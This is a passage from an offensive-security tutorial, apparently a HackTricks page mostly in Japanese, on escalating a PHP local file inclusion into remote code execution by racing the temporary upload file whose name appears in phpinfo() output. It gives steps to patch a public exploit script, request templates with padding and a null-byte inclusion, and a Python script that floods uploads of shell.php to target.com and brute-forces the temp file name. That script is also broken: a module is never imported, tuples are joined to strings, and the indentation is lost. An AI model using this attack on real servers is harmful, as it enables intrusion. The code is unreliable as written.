LFI2RCE via phpinfo()

Support HackTricks

この脆弱性を悪用するには、LFI脆弱性、phpinfo()が表示されるページ、"file_uploads = on"、およびサーバーが"/tmp"ディレクトリに書き込むことができる必要があります。

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

エクスプロイトを修正する必要があります(**=>=>**に変更)。そのためには、次のようにできます:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

You have to change also the payload at the beginning of the exploit (for a php-rev-shell for example), the REQ1 (this should point to the phpinfo page and should have the padding included, i.e.: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), and LFIREQ (this should point to the LFI vulnerability, i.e.: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Check the double "%" when exploiting null char)

212KB
LFI-With-PHPInfo-Assistance.pdf
pdf

理論

もしPHPでアップロードが許可されていて、ファイルをアップロードしようとすると、このファイルはサーバーがリクエストの処理を終えるまで一時ディレクトリに保存され、その後この一時ファイルは削除されます。

次に、ウェブサーバーにLFI脆弱性が見つかった場合、一時ファイルの名前を推測して、削除される前に一時ファイルにアクセスしてRCEを悪用することができます。

Windowsでは、ファイルは通常C:\Windows\temp\phpに保存されます。

Linuxでは、ファイルの名前はランダムで、/tmpにあります。名前がランダムであるため、一時ファイルの名前をどこかから抽出する必要があり、削除される前にアクセスする必要があります。これは、関数"phpconfig()"の内容内で変数$_FILESの値を読み取ることで行うことができます。

phpinfo()

PHP4096Bのバッファを使用し、満杯になるとクライアントに送信されます。次に、クライアントは大きなリクエストをたくさん送信(大きなヘッダーを使用)してphpリバースシェルをアップロードし、phpinfo()の最初の部分が返されるのを待ち(一時ファイルの名前がある場所)、LFI脆弱性を悪用してphpサーバーがファイルを削除する前に一時ファイルにアクセスしようとします。

名前をブルートフォースするためのPythonスクリプト(長さ=6の場合)

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')
HackTricksをサポートする

Last updated